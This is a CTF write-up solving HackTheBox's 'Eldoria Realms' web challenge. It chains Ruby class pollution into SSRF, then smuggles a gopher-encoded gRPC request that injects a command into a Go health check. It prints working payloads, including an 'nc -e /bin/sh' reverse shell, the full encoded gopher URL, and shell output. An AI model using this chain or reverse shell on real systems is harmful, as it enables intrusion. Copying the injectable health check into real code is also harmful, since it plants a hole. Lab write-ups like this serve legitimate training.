---
# System prepended metadata

title: Eldoria Realms

---

# Eldoria Realms

Here's my writeup for the *web* challenge *Eldoria Realms* on **Cyber Apocalypse CTF 2025: Tales from Eldoria** event of *HackTheBox*


## Introduction
Let's start by exploring the application and figuring out what the app can do


structure of the project:
```
.
├── build_docker.sh
├── challenge
│   ├── data_stream_api
│   │   └── app.go
│   ├── eldoria_api
│   │   ├── app.rb
│   │   ├── Gemfile
│   │   └── public
│   │       ├── icon.png
│   │       ├── index.html
│   │       ├── MedievalSharp-Regular.ttf
│   │       └── RobotoSlab-Regular.ttf
│   └── live_data.proto
├── conf
│   └── supervisord.conf
├── Dockerfile
├── entrypoint.sh
└── flag.txt
```

> The challenge source code is big enough to displaying them here, but i'm going to show the important code snippets and parts that needed to exploit process


Alright!, there are two service that one is public and exposed to the internet and the other one is just listening on the localhost and only internal network can access it
1. `data_stream_api`: written in Golang (internal usage)
2. `eldoria_api`: written in Ruby (exposed to public)


### data_stream_api

The stream_api is a golang based program that serving a `gRPC` service that accessible just from *localhost* at port *50051*

> you might know the `gRPC` protocol, it acts like other APIs, like `REST`, but in a different protocol and serialization data, you can have a look at [Introduction to gRPC](https://grpc.io/docs/what-is-grpc/introduction/) Official page that describe the gRPC protocol by itself

Here's the main code for grpc
```go
package main

import (
    "app/pb"
    "context"
    "fmt"
    "log"
    "net"
    "os/exec"
    "time"

    "google.golang.org/grpc"
)

type server struct {
    pb.UnimplementedLiveDataServiceServer
    ip   string
    port string
}

func (s *server) StreamLiveData(req *pb.LiveDataRequest, stream pb.LiveDataService_StreamLiveDataServer) error {
    for {
        liveData := &pb.LiveData{
            Timestamp: time.Now().Format(time.RFC3339),
            Message:   fmt.Sprintf("Live update from Helios at %s", time.Now().Format("15:04:05")),
            Type:      "update",
        }
        if err := stream.Send(liveData); err != nil {
            return err
        }
        time.Sleep(1 * time.Second)
    }
}

func (s *server) CheckHealth(ctx context.Context, req *pb.HealthCheckRequest) (*pb.HealthCheckResponse, error) {
    ip := req.Ip
    port := req.Port

    if ip == "" {
        ip = s.ip
    }
    if port == "" {
        port = s.port
    }

    err := healthCheck(ip, port)
    if err != nil {
        return &pb.HealthCheckResponse{Status: "unhealthy"}, nil
    }
    return &pb.HealthCheckResponse{Status: "healthy"}, nil
}

func healthCheck(ip string, port string) error {
    cmd := exec.Command("sh", "-c", "nc -zv "+ip+" "+port)
    output, err := cmd.CombinedOutput()
    if err != nil {
        log.Printf("Health check failed: %v, output: %s", err, output)
        return fmt.Errorf("health check failed: %v", err)
    }

    log.Printf("Health check succeeded: output: %s", output)
    return nil
}

func main() {
    ip := "0.0.0.0"
    port := "50051"

    addr := fmt.Sprintf("%s:%s", ip, port)
    lis, err := net.Listen("tcp", addr)
    if err != nil {
        log.Fatalf("failed to listen on %s: %v", addr, err)
    }

    s := grpc.NewServer()
    pb.RegisterLiveDataServiceServer(s, &server{ip: ip, port: port})
    log.Printf("gRPC server listening on %s...", addr)
    if err := s.Serve(lis); err != nil {
        log.Fatalf("failed to serve: %v", err)
    }
}
```

And there is a `live_data.proto` file that is the structure for serializing and deserializing the request/response on each side (client, server)

```protobuf
syntax = "proto3";

package live;

service LiveDataService {
  rpc StreamLiveData(LiveDataRequest) returns (stream LiveData);
  rpc CheckHealth(HealthCheckRequest) returns (HealthCheckResponse);
}

message LiveDataRequest {}

message LiveData {
  string timestamp = 1;
  string message = 2;
  string type = 3;
}

massage HealthCheckRequest {
  string ip = 1;
  string port = 2;
}

message HealthCheckResponse {
  string status = 1;
}
```
> just keep in mind that for communication between server and client, each client (stub) need this file to know the data serialization structure, otherwise they cannot serialize the data, however there is a way to communicate with server without the .proto file, that will mention bellow


So, there are two methods
one is *StreamLiveData* that receives the `LiveDataRequest` message, that has no fields, and returns `LiveData` as stream
and the other one is *CheckHealth*, that receives the `HealthCheckRequest` message and returns the `HealthCheckResponse` as the response

If you look closely to the golang source code of the `CheckHealth` method, you'll see the *Command injection* on it, here:
```go
func healthCheck(ip string, port string) error {
    cmd := exec.Command("sh", "-c", "nc -zv "+ip+" "+port)
    ...
}
```

so if we somehow reach the `localhost:50051` the *CheckHealth* method, we would make Reverse Shell or something else to get the `flag`

> you don't know about revshells? check this out [Intro to Reverse shell](https://www.imperva.com/learn/application-security/reverse-shell/)
> also you can generate revshells with each lang/tools that you want at here https://www.revshells.com/


Oh, btw: the flag is located on the **/flag{random-hex}.txt** path, as described in Dockerfile's entrypoint (*entrypoint.sh*)

Alright let's move to the other api

### eldoria_api

This program is the public program that we are able to communicate with that

Let's take a look at the important parts of the source code

```ruby
require "json"
require "sinatra/base"
require "net/http"
require "grpc"
require "open3"
require_relative "live_data_services_pb"

# Other codes snippet
$player = nil

class Adventurer
    @@realm_url = "http://eldoria-realm.htb"

    # Other codes snippet

    def merge_with(additional)
        recursive_merge(self, additional)
    end

    private

    def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        current_obj.instance_variable_set("@#{key}", value)
        current_obj.singleton_class.attr_accessor key
      end
    end
    original
    end
end

class Player < Adventurer
    def initialize(name:, age:, attributes:)
        super(name: name, age: age, attributes: attributes)
    end
end

# Other codes snippet

class EldoriaAPI < Sinatra::Base

    # Other codes snippet

    post "/merge-fates" do
        content_type :json
        json_input = JSON.parse(request.body.read)
        random_attributes = {
            "class" => ["Warrior", "Mage", "Rogue", "Cleric"].sample,
            "guild" => ["The Unbound", "Order of the Phoenix", "The Fallen", "Guardians of the Realm"].sample,
            "location" => {
                "realm" => "Eldoria",
                "zone" => ["Twilight Fields", "Shadow Woods", "Crystal Caverns", "Flaming Peaks"].sample
            },
            "inventory" => []
        }

        $player = Player.new(
            name: "Valiant Hero",
            age: 21,
            attributes: random_attributes
        )

        $player.merge_with(json_input)
        { 
            status: "Fates merged", 
            player: { 
                name: $player.name, 
                age: $player.age, 
                attributes: $player.attributes 
            } 
        }.to_json
    end

    # Other codes snippet

    get "/connect-realm" do
        content_type :json
        if Adventurer.respond_to?(:realm_url)
            realm_url = Adventurer.realm_url
            begin
                uri = URI.parse(realm_url)
                stdout, stderr, status = Open3.capture3("curl", "-o", "/dev/null", "-w", "%{http_code}", uri)
                { status: "HTTP request made", realm_url: realm_url, response_body: stdout }.to_json
            rescue URI::InvalidURIError => e
                { status: "Invalid URL: #{e.message}", realm_url: realm_url }.to_json
            end
        else
            { status: "Failed to access realm URL" }.to_json
        end
    end

    # Other codes snippet

    run! if app_file == $0
end
```

> I've removed the unnecessary codes snippet that doesn't seems important for exploitation, they are just for to the scenario of the challenge


There were a lot of endpoint that just act as the challenges scenario, but the above endpoints were more interesting to me, so let's just move to the exploitation process before anything else


## Exploitation

You might guess how to exploit, but let's specify the steps to exploit

1. The `/merge-fates` is vulnerable to the class pollution, so that we can change the self instance or other class attribute's value
2. The `/connect-realm` seems secure by itself, but it's an SSRF attack due to the previous step. we can change the `url` of the `curl` command to access the internal network (like the grpc `localhost:50051`)
3. Trigger the command injection on the **CheckHealth** of the grpc method on `localhost:50051` to access the shell and get *RCE*


Alright! it seems simple right!? but the second part was terrible for us, we were trying a bunch of thing to make that connection to the grpc possible and send a valid request to grpc to open up a revshell

Anyway let's start step by step



### Step1: Class pulution

After looking to the ruby source code, we can see a vulnerable function that called **recursive_merge** it's vulnerable to **Class pollution**, I've see this kind of attack in python in earlier CTFs, but it was my first time to exploit this vuln on ruby, so i came up with a great document ([Ruby Class pulution](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)) that describes this vulnerability, let's explain the flow of this vulnerable function

```ruby=
def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        current_obj.instance_variable_set("@#{key}", value)
        current_obj.singleton_class.attr_accessor key
      end
    end
    original
end
```

on the line `3` of this function, it checks for the value type, and if it's a *Hash object*, it will try to get the value of the current instance and merging the data to the specified key, so because it will try to get the value of the `current_obj`, it's possible to get other attributes instead of `{name, age, attributes}`

For example if we pass this payload to the function
```
{"class":{"superclass":{"url":"http://malicious.com"}}}
```

the function tries to get the *class* of the `current_obj` that is *self*, and because it's a hash object, the process repeat for the `class` object
and in the repeated function call the `superclass` value is also a hash, so this will try to get *superclass* value of the `class` object, and set the `url` to `http://malicious.com`, it's like that we enter this ruby expression

```ruby
current_obj.class.superclass.url = "http://malicious.com"
```

And yes we can now change the `@@realm_url` also (will look at that bellow)

This payload also seems fun :)
```
{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"somekey":"some-value"}}}}}}
```

so the chain is like this
```ruby!
current_obj.class.superclass.superclass.subclasses.sample.somekey = "some-value"

# the .subclasses returns an arrays of classes (and .sample returns a random item of the arrays)
```


However, for more information you can take a look [Ruby Class pulution](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)



### Step2: SSRF
As we can now change the `@@realm_url` to our intended url, it's possible to make internal requests

And the url (internal service) that should be is use the *grpc* service, but at the first try, my teammate and i, didn't figure out the how it's possible to make a valid grpc request via `curl`

So after digging more of this issue, i've tried some useless things that may helps me but it was just wasting my time

First I thought that `Open3` had some vulnerabilities. so I checked out the source code of `Open3.capture3` and i came up with this part of the code at here https://github.com/ruby/open3/blob/master/lib/open3.rb#L648

```ruby
...
def capture3(*cmd)
    if Hash === cmd.last
      opts = cmd.pop.dup
    else
      opts = {}
    end
    ...
end
```

If the last argument's type was *Hash*, that will pass it to the `Process.spawn`'s options, so i tried to look at the valid options in the document

But wait a second :/
That's not possible, because we cannot set the `@@realm_url` to an object, only `{arrays, string, int, etc}` were valid because of the `recursieve_merge` function, that explained earlier, however if somehow that was possible to use a `Hash` as the last cmd args, what should i do with that :)
the options wasn't helps me the in `Process.spawn`, as i said, it was just wasting my time, so i skip this part immediately

So guess what? I've wastime my time over and over again, like trying to find an attribute that is critical for gRPC and trying to change it to whatever that I want with the `/merge-fates`. (actually tried to pollute other classes if it was possible). but yeap; that didn't help. so i gave up and leave the computer for a couple of hours

...

so after i've came back to the challenge, i've tried to look at others supported protocol in curl, like `dict` and `gopher`
so i've tried *dict*, but didn't help me, and then *gopher*

so i knew that it's possible to send any data with gopher like this

![Screenshot_20250326_173901](https://hackmd.io/_uploads/BJY9qtbaJl.png)

As you can see, anything after the *gopher://localhost:1337/_* became as the data of the socket, so the only thing that left it's to create a valid payload for the grpc


### Step3: gRPC payload
so i've looked at the grpc document to figure out how to serialize a valid data or how can i create an http request via curl, python or whatever to figuring out the valid structure for sending the data, as you may know the data for grpc is serializing via the `protocol buffer`, so i need to make a serialized data that was valid

but didn't figure out, so i've tried some clients tools like `grpc_requests` on python or `grpcurl` utility

```python
from grpc_requests import Client

client = Client.get_from_endpoint("localhost:50051", ssl=False, lazy=False)

print(client.services)
```

so it didn't works, way not?! because if we don't pass the `.proto` files to the grpc_requests, it will try to get messages descriptor automatically from the grpc service via something called `Reflection API`, but the reflection api wasn't enable, so we need to pass the proto files directly
more info at [Reflection](https://grpc.io/docs/guides/reflection/)

I've came to `grpcurl`, it was more easy to use
so i've tried something like this, just for playing around the grpc service

```sh!
$ grpcurl -d '{"ip":"localhost","port":"80"}' -proto challenge/live_data.proto  -plaintext localhost:50051 live.LiveDataService/CheckHealth
{
    "status": "healthy"
}
```

the grpcurl will serialize the json automatically and make a request to the `live.LiveDataService/CheckHealth` method, and the server will return the serialized data and grpcurl will unserialize it and return a proper json

so after making sure that i can make request to grpc via grpcurl, i've tried to capture the serialized payload with the `nc` like bellow

i've used the above code to send the grpc request to my own listening socket that handled via nc and this is what i got

![Screenshot_20250325_160128](https://hackmd.io/_uploads/rJHFJqZpJx.png)

Huh, it's seem the grpc request has been made, I thought it's the final, but where the hell is my payload for `{"ip":"localhost","port":"80"}`, it doesn't seem be there, so i gave up one more time, and took a nap :)

after i came back, i've tried to capture the requests via `Wireshark` for the real grpc server (not my stupid nc listener :/ ), because i thought that grpc is not handling my request in one straight request, and there should be other request chain


I tried to listen on the *loopback* device to capture the network traffic, then  execute the `grpcurl` command to the real grpc with the exploit payload that tigger RCE

And yeap, i've got it, there were around four requests that were made from *me* to the grpc service with port `50051`

![Screenshot_20250326_182129](https://hackmd.io/_uploads/S1TFV5bTkl.png)


these were the requests that made from me to the grpc server `(tcp.port == 50051)`

so i've look at the data that send via tcp in wireshark Data field of each request from me and grpc server

```raw!
Raw packet's data
1 request: 505249202a20485454502f322e300d0a0d0a534d0d0a0d0a
2 request: 000000040000000000 
3 request: 000000040100000000 
4 request: 000070010400000001838645986283772af9cddcb7c691ee2d9dcc42b17a7293ae328e84cf418f0bcdae2136b88015c227ee3600361f5f8b1d75d0620d263d4c4d65647a959acac96d9431dc2bbebb2a4d65645a63b015dc0ae040027465864d833505b11f408e9acac8b0c842d6958b510f21aa9b839bd9ab000032000100000001000000002d0a096c6f63616c686f7374122038303b206e63202d65202f62696e2f7368206c6f63616c686f73742031333336
```

the 4 request's data is my serialized data that has the payload to get RCE

let's decode them altogether
```sh
echo 505249202a20485454502f322e300d0a0d0a534d0d0a0d0a000000040000000000000000040100000000000070010400000001838645986283772af9cddcb7c691ee2d9dcc42b17a7293ae328e84cf418f0bcdae2136b88015c227ee3600361f5f8b1d75d0620d263d4c4d65647a959acac96d9431dc2bbebb2a4d65645a63b015dc0ae040027465864d833505b11f408e9acac8b0c842d6958b510f21aa9b839bd9ab000032000100000001000000002d0a096c6f63616c686f7374122038303b206e63202d65202f62696e2f7368206c6f63616c686f73742031333336 | xxd -r -p  | xxd 
00000000: 5052 4920 2a20 4854 5450 2f32 2e30 0d0a  PRI * HTTP/2.0..
00000010: 0d0a 534d 0d0a 0d0a 0000 0004 0000 0000  ..SM............
00000020: 0000 0000 0401 0000 0000 0000 7001 0400  ............p...
00000030: 0000 0183 8645 9862 8377 2af9 cddc b7c6  .....E.b.w*.....
00000040: 91ee 2d9d cc42 b17a 7293 ae32 8e84 cf41  ..-..B.zr..2...A
00000050: 8f0b cdae 2136 b880 15c2 27ee 3600 361f  ....!6....'.6.6.
00000060: 5f8b 1d75 d062 0d26 3d4c 4d65 647a 959a  _..u.b.&=LMedz..
00000070: cac9 6d94 31dc 2bbe bb2a 4d65 645a 63b0  ..m.1.+..*MedZc.
00000080: 15dc 0ae0 4002 7465 864d 8335 05b1 1f40  ....@.te.M.5...@
00000090: 8e9a cac8 b0c8 42d6 958b 510f 21aa 9b83  ......B...Q.!...
000000a0: 9bd9 ab00 0032 0001 0000 0001 0000 0000  .....2..........
000000b0: 2d0a 096c 6f63 616c 686f 7374 1220 3830  -..localhost. 80
000000c0: 3b20 6e63 202d 6520 2f62 696e 2f73 6820  ; nc -e /bin/sh 
000000d0: 6c6f 6361 6c68 6f73 7420 3133 3336       localhost 1336
```

This was the complete grpc request that we need to work on it, so let's just pipe this to the grpc service via `nc`

```sh!
echo 505249202a20485454502f322e300d0a0d0a534d0d0a0d0a000000040000000000000000040100000000000070010400000001838645986283772af9cddcb7c691ee2d9dcc42b17a7293ae328e84cf418f0bcdae2136b88015c227ee3600361f5f8b1d75d0620d263d4c4d65647a959acac96d9431dc2bbebb2a4d65645a63b015dc0ae040027465864d833505b11f408e9acac8b0c842d6958b510f21aa9b839bd9ab000032000100000001000000002d0a096c6f63616c686f7374122038303b206e63202d65202f62696e2f7368206c6f63616c686f73742031333336 | xxd -r -p | nc localhost 50051
&=LMed  �_�u�b

        unhealthy▒@���Ȳ4ڏ0@���ȵ%B1
```

as you can see the request has been made, and also the rev shell spawned
```sh
root@c47bab041488:/app/data_stream_api# nc -lvp 1336
listening on [any] 1336 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 33776
ls
app.go
data_stream_api
go.mod
go.sum
live_data.proto
pb
^C
```

so the only things that left, is to combine this and make a valid gopher link that is valid for curl

and after playing around the gopher, my final payload for gopher url was this

```sh!
curl "gopher://localhost:50051/_%50%52%49%20%2a%20%48%54%54%50%2f%32%2e%30%0d%0a%0d%0a%53%4d%0d%0a%0d%0a%00%00%00%04%00%00%00%00%00%00%00%00%04%01%00%00%00%00%00%00%70%01%04%00%00%00%01%83%86%45%98%62%83%77%2a%f9%cd%dc%b7%c6%91%ee%2d%9d%cc%42%b1%7a%72%93%ae%32%8e%84%cf%41%8f%0b%cd%ae%21%36%b8%80%15%c2%27%ee%36%00%36%1f%5f%8b%1d%75%d0%62%0d%26%3d%4c%4d%65%64%7a%95%9a%ca%c9%6d%94%31%dc%2b%be%bb%2a%4d%65%64%5a%63%b0%15%dc%0a%e0%40%02%74%65%86%4d%83%35%05%b1%1f%40%8e%9a%ca%c8%b0%c8%42%d6%95%8b%51%0f%21%aa%9b%83%9b%d9%ab%00%00%32%00%01%00%00%00%01%00%00%00%00%2d%0a%09%6c%6f%63%61%6c%68%6f%73%74%12%20%38%30%3b%20%6e%63%20%2d%65%20%2f%62%69%6e%2f%73%68%20%6c%6f%63%61%6c%68%6f%73%74%20%31%33%33%36" -o- -v
```


and yeap, thats works to

### Step4: Final payload and get flag
According to the first vulnerability in the ruby for **Class pollution** , we has this chance to change the curl's url to the `gopher://<whatever>` that we generated

```json!
{"class":{"superclass":{"realm_url":"gopher://localhost:50051/_%50%52%49%20%2a%20%48%54%54%50%2f%32%2e%30%0d%0a%0d%0a%53%4d%0d%0a%0d%0a%00%00%00%04%00%00%00%00%00%00%00%00%04%01%00%00%00%00%00%00%70%01%04%00%00%00%01%83%86%45%98%62%83%77%2a%f9%cd%dc%b7%c6%91%ee%2d%9d%cc%42%b1%7a%72%93%ae%32%8e%84%cf%41%8f%0b%cd%ae%21%36%b8%80%15%c2%27%ee%36%00%36%1f%5f%8b%1d%75%d0%62%0d%26%3d%4c%4d%65%64%7a%95%9a%ca%c9%6d%94%31%dc%2b%be%bb%2a%4d%65%64%5a%63%b0%15%dc%0a%e0%40%02%74%65%86%4d%83%35%05%b1%1f%40%8e%9a%ca%c8%b0%c8%42%d6%95%8b%51%0f%21%aa%9b%83%9b%d9%ab%00%00%32%00%01%00%00%00%01%00%00%00%00%2d%0a%09%6c%6f%63%61%6c%68%6f%73%74%12%20%38%30%3b%20%6e%63%20%2d%65%20%2f%62%69%6e%2f%73%68%20%6c%6f%63%61%6c%68%6f%73%74%20%31%33%33%36"}}}
```

And submit this on `/merge-fates`, after submission has been done!, we only need to call the `/connect-realm` endpoint
this endpoint also returns the url, so you can make sure that the pollution worked or not

```
root@c47bab041488:/app/data_stream_api# nc -lvnp 1336
listening on [any] 1336 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 43360
ls /          
app
bin
boot
curl-7.70.0
curl-7.70.0.tar.gz
dev
entrypoint.sh
etc
flag4c574b8c23.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat /flag4c574b8c23.txt
HTB{f4k3_fl4g_f0r_t35t1ng}
```


## Conclusion
Thanks for reading my writeup

as you might know, I did a lot of silly things during solving the challenge, i came up with a lot up mistakes that just wasted my time, but after all i've learned a lot of things about how `gRPC` works and learned some things about ruby, i really like the ruby challenges in CTF btw :)

Also Special thanks to the organizer of this great event, the web challenges was quite fun and learned a lot of them


## Resources

- https://grpc.io/docs/what-is-grpc/introduction/
- https://www.imperva.com/learn/application-security/reverse-shell/
- https://www.revshells.com/
- https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
- https://grpc.io/docs/guides/reflection/
- https://infosecwriteups.com/how-gopher-works-in-escalating-ssrfs-ce6e5459b630
- https://github.com/fullstorydev/grpcurl

